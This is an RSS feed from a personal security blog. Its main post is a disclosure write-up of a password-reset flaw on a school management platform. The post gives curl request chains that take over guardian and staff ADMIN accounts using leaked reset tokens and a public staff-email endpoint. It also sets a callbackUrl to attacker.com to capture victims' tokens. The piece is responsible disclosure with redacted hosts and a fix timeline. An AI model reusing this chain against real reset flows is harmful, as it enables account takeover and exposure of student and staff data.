<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>tinywifi</title>
    <link>https://tinywifi.cc/</link>
    <description>Recent content on tinywifi</description>
    <generator>Hugo</generator>
    <language>en</language>
    <lastBuildDate>Mon, 27 Apr 2026 00:14:01 +0700</lastBuildDate>
    <atom:link href="https://tinywifi.cc/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>how i could reset anyone&#39;s password on a school management platform</title>
      <link>https://tinywifi.cc/posts/school-management-password-reset/</link>
      <pubDate>Sat, 18 Apr 2026 00:00:00 +0000</pubDate>
      <guid>https://tinywifi.cc/posts/school-management-password-reset/</guid>
      <description>&lt;p&gt;so i was poking around on a school management platform used by some international schools in thailand, and i found something pretty wild. i could reset the password for any guardian or staff account with zero interaction from the victim. no phishing, no social engineering, nothing.&lt;/p&gt;
&lt;p&gt;well, almost nothing. i&amp;rsquo;ll get to that part.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;a-weird-response&#34;&gt;a weird response&lt;/h2&gt;
&lt;p&gt;i started by registering a guardian account and doing the usual forgot-password flow to see how it worked. i sent a request to the forgot-password endpoint and was looking at the response when i noticed something a little off.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>so i was poking around on a school management platform used by some international schools in thailand, and i found something pretty wild. i could reset the password for any guardian or staff account with zero interaction from the victim. no phishing, no social engineering, nothing.</p>
<p>well, almost nothing. i&rsquo;ll get to that part.</p>
<hr>
<h2 id="a-weird-response">a weird response</h2>
<p>i started by registering a guardian account and doing the usual forgot-password flow to see how it worked. i sent a request to the forgot-password endpoint and was looking at the response when i noticed something a little off.</p>
<p>the reset token was sitting right there <strong>in the API response body</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;expiredAt&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;email&#34;</span>: <span style="color:#a6e3a1">&#34;myemail@example.com&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;callbackUrl&#34;</span>: <span style="color:#a6e3a1">&#34;https://REDACTED/parent/new-password&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;token&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;status&#34;</span>: <span style="color:#a6e3a1">&#34;EMAIL_SENT&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>the idea behind password reset is that the server sends you a secret token via email, so only the person with access to that inbox can use it. returning it directly in the HTTP response means anyone who can make the request gets the token. no email access needed.</p>
<hr>
<h2 id="the-exploit-guardian">the exploit (guardian)</h2>
<p>so the full account takeover for any guardian is just two requests:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># step 1: get the reset token (no auth required)</span>
</span></span><span style="display:flex;"><span>curl -X POST https://REDACTED/api/guardians/auth/forgot-password <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -H <span style="color:#a6e3a1">&#34;Content-Type: application/json&#34;</span> <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -d <span style="color:#a6e3a1">&#39;{&#34;email&#34;:&#34;victim@example.com&#34;,&#34;callbackUrl&#34;:&#34;https://REDACTED/parent/new-password&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># response immediately returns:</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># { &#34;token&#34;: &#34;REDACTED&#34;, &#34;status&#34;: &#34;EMAIL_SENT&#34;, &#34;email&#34;: &#34;victim@example.com&#34;, ... }</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># step 2: use the token to set a new password</span>
</span></span><span style="display:flex;"><span>curl -X POST https://REDACTED/api/guardians/auth/reset-password <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -H <span style="color:#a6e3a1">&#34;Content-Type: application/json&#34;</span> <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -d <span style="color:#a6e3a1">&#39;{&#34;email&#34;:&#34;victim@example.com&#34;,&#34;token&#34;:&#34;REDACTED&#34;,&#34;newPassword&#34;:&#34;anything&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># result: {&#34;message&#34;:&#34;Password has been reset successfully&#34;}</span>
</span></span></code></pre></div><p>tested it on my own account. worked perfectly.</p>
<hr>
<h2 id="wait-where-do-i-get-staff-emails">wait, where do i get staff emails?</h2>
<p>at this point i was curious if the same thing worked on staff accounts. the issue is i&rsquo;d need a valid staff email to try it on. turns out there&rsquo;s an unauthenticated endpoint that just&hellip; gives them to you:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl https://REDACTED/api/public/schools
</span></span></code></pre></div><p>the response includes staff contact emails for each school. no token, no auth, just a public GET request. this is probably meant for a school directory but it&rsquo;s also a convenient list of targets.</p>
<hr>
<h2 id="the-exploit-staff">the exploit (staff)</h2>
<p>once i had a staff email, i tried the same forgot-password trick on the staff endpoint:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># step 1: request reset (no auth required)</span>
</span></span><span style="display:flex;"><span>curl -X POST https://REDACTED/api/staff/forgot-password <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -H <span style="color:#a6e3a1">&#34;Content-Type: application/json&#34;</span> <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -d <span style="color:#a6e3a1">&#39;{&#34;email&#34;:&#34;REDACTED@REDACTED&#34;,&#34;callbackUrl&#34;:&#34;https://REDACTED/new-password&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># response:</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># { &#34;token&#34;: &#34;REDACTED&#34;, &#34;status&#34;: &#34;EMAIL_SENT&#34;, &#34;email&#34;: &#34;REDACTED@REDACTED&#34;, ... }</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># step 2: reset password</span>
</span></span><span style="display:flex;"><span>curl -X POST https://REDACTED/api/staff/reset-password <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -H <span style="color:#a6e3a1">&#34;Content-Type: application/json&#34;</span> <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -d <span style="color:#a6e3a1">&#39;{&#34;email&#34;:&#34;REDACTED@REDACTED&#34;,&#34;token&#34;:&#34;REDACTED&#34;,&#34;newPassword&#34;:&#34;REDACTED&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7086;font-style:italic"># result: {&#34;message&#34;:&#34;Password has been reset successfully&#34;}</span>
</span></span></code></pre></div><p>logged in as staff ADMIN. the decoded token looked like:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;id&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;schoolId&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;name&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;role&#34;</span>: <span style="color:#a6e3a1">&#34;ADMIN&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;roles&#34;</span>: [<span style="color:#a6e3a1">&#34;ADMIN&#34;</span>]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<h2 id="what-staff-access-gets-you">what staff access gets you</h2>
<p>with an ADMIN staff token i could now hit all the endpoints that were previously blocked: student records, invoices, income data, the works. i stopped there and started writing this up instead of poking further.</p>
<hr>
<h2 id="bonus-the-callbackurl-isnt-validated-either">bonus: the callbackUrl isn&rsquo;t validated either</h2>
<p>while i was looking at the forgot-password request i noticed it takes a <code>callbackUrl</code> parameter. this is the link that gets embedded in the reset email sent to the victim. the platform uses it to tell the email template where to point the &ldquo;reset your password&rdquo; button.</p>
<p>i tried setting it to an arbitrary domain:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X POST https://REDACTED/api/guardians/auth/forgot-password <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -H <span style="color:#a6e3a1">&#34;Content-Type: application/json&#34;</span> <span style="color:#89b4fa">\
</span></span></span><span style="display:flex;"><span><span style="color:#89b4fa"></span>  -d <span style="color:#a6e3a1">&#39;{&#34;email&#34;:&#34;victim@example.com&#34;,&#34;callbackUrl&#34;:&#34;https://attacker.com/fake-reset&#34;}&#39;</span>
</span></span></code></pre></div><p>response:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;callbackUrl&#34;</span>: <span style="color:#a6e3a1">&#34;https://attacker.com/fake-reset&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;token&#34;</span>: <span style="color:#a6e3a1">&#34;REDACTED&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#cba6f7">&#34;status&#34;</span>: <span style="color:#a6e3a1">&#34;EMAIL_SENT&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>accepted. no validation at all.</p>
<p>this means the reset email that lands in the victim&rsquo;s inbox will have a &ldquo;reset password&rdquo; button pointing to <code>https://attacker.com/fake-reset</code> instead of the real platform. the victim clicks what looks like a legit password reset email and ends up on a page you control.</p>
<p>since the token is already returned in the response (see above), this is kind of redundant as an attack. you don&rsquo;t even need the victim to click anything. but if that token leak ever got fixed, this would be the fallback: victim gets a real email from the platform&rsquo;s mail server, clicks the link, token gets delivered to your server via the URL query string (<code>?token=...</code>), and you use it to take over the account.</p>
<p>it also works on <code>localhost</code>. i tried <code>callbackUrl: &quot;http://localhost:3000/reset&quot;</code> and it was accepted too, which hints at potential SSRF if the server ever follows that URL rather than just embedding it.</p>
<hr>
<h2 id="the-full-chain-no-credentials-needed">the full chain, no credentials needed</h2>
<pre tabindex="0"><code>1. GET /api/public/schools          → get staff email addresses (no auth)
2. POST /api/staff/forgot-password  → receive reset token in response (no auth)
3. POST /api/staff/reset-password   → set new password with that token
4. POST /api/staff/login            → log in as staff ADMIN
</code></pre><p>four requests, zero prior access, complete staff account takeover.</p>
<p>the guardian variant is the same but shorter since you&rsquo;d already know the email if you&rsquo;re a guardian yourself (or keep trying via the reset endpoint&rsquo;s different 404 response for unknown emails).</p>
<hr>
<h2 id="summary">summary</h2>
<ul>
<li>forgot-password endpoints for both guardian and staff return the reset token directly in the API response</li>
<li>staff emails are available unauthenticated via <code>/api/public/schools</code></li>
<li><code>callbackUrl</code> accepts any arbitrary domain, so the reset email will point wherever you tell it to</li>
<li>combining the first two means any staff account can be taken over with zero interaction from the victim</li>
<li>if the token leak were ever fixed, the callbackUrl issue becomes the primary attack path</li>
</ul>
<hr>
<h2 id="disclosure-timeline">disclosure timeline</h2>
<p><strong>apr 16, 10:33 pm</strong> - sent initial contact to the platform asking where i could send a security report. didn&rsquo;t include technical details yet.</p>
<p><strong>apr 16, 11:57 pm</strong> - director of business development replied.</p>
<p><strong>apr 17, 12:55 am</strong> - sent the full technical report with all reproduction steps. investigation started.</p>
<p><strong>apr 18, 5:39 am</strong> - received confirmation that all issues have been resolved.</p>
<p><strong>apr 18, 1:21 pm</strong> - asked for permission to publish and a letter of acknowledgment.</p>
<p><strong>apr 18, 3:32 pm</strong> - got the green light to publish.</p>
]]></content:encoded>
    </item>
    <item>
      <title>pgp</title>
      <link>https://tinywifi.cc/pgp/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://tinywifi.cc/pgp/</guid>
      <description>tinywifi&amp;#39;s PGP public key</description>
      <content:encoded><![CDATA[<p>use this key to encrypt messages to me or verify signed files.</p>
<p><strong>key info</strong></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>uid</td>
          <td>tinywifi &lt;me@tinywifi.cc&gt;</td>
      </tr>
      <tr>
          <td>type</td>
          <td>RSA 4096</td>
      </tr>
      <tr>
          <td>created</td>
          <td>2026-04-25</td>
      </tr>
      <tr>
          <td>fingerprint</td>
          <td><code>8A4A 47CD 508C D3B9 2EA5  CF58 846A BF26 5B4B B81D</code></td>
      </tr>
  </tbody>
</table>
<hr>
<p><strong>import</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl https://tinywifi.cc/pgp-key.txt | gpg --import
</span></span></code></pre></div><p>or via keyserver:</p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg --keyserver keys.openpgp.org --recv-keys 8A4A47CD508CD3B92EA5CF58846ABF265B4BB81D
</span></span></code></pre></div><p>or <a href="/pgp-key.txt">download directly</a>.</p>
<p><strong>verify fingerprint after import</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg --fingerprint me@tinywifi.cc
</span></span></code></pre></div><p>expected output:</p>
<pre tabindex="0"><code>pub   rsa4096 2026-04-25 [SC]
      8A4A 47CD 508C D3B9 2EA5  CF58 846A BF26 5B4B B81D
uid           [ full ] tinywifi &lt;me@tinywifi.cc&gt;
</code></pre><p><strong>verify a signed file</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg --verify security.txt
</span></span></code></pre></div><p><strong>encrypt a message to me</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#cdd6f4;background-color:#1e1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg --encrypt --armor --recipient me@tinywifi.cc message.txt
</span></span></code></pre></div><hr>
<p><strong>public key</strong></p>
<pre tabindex="0"><code>-----BEGIN PGP PUBLIC KEY BLOCK-----

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
=n0Ub
-----END PGP PUBLIC KEY BLOCK-----
</code></pre>]]></content:encoded>
    </item>
    <item>
      <title>uses</title>
      <link>https://tinywifi.cc/uses/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://tinywifi.cc/uses/</guid>
      <description>setup &amp;amp; tools</description>
    </item>
  </channel>
</rss>
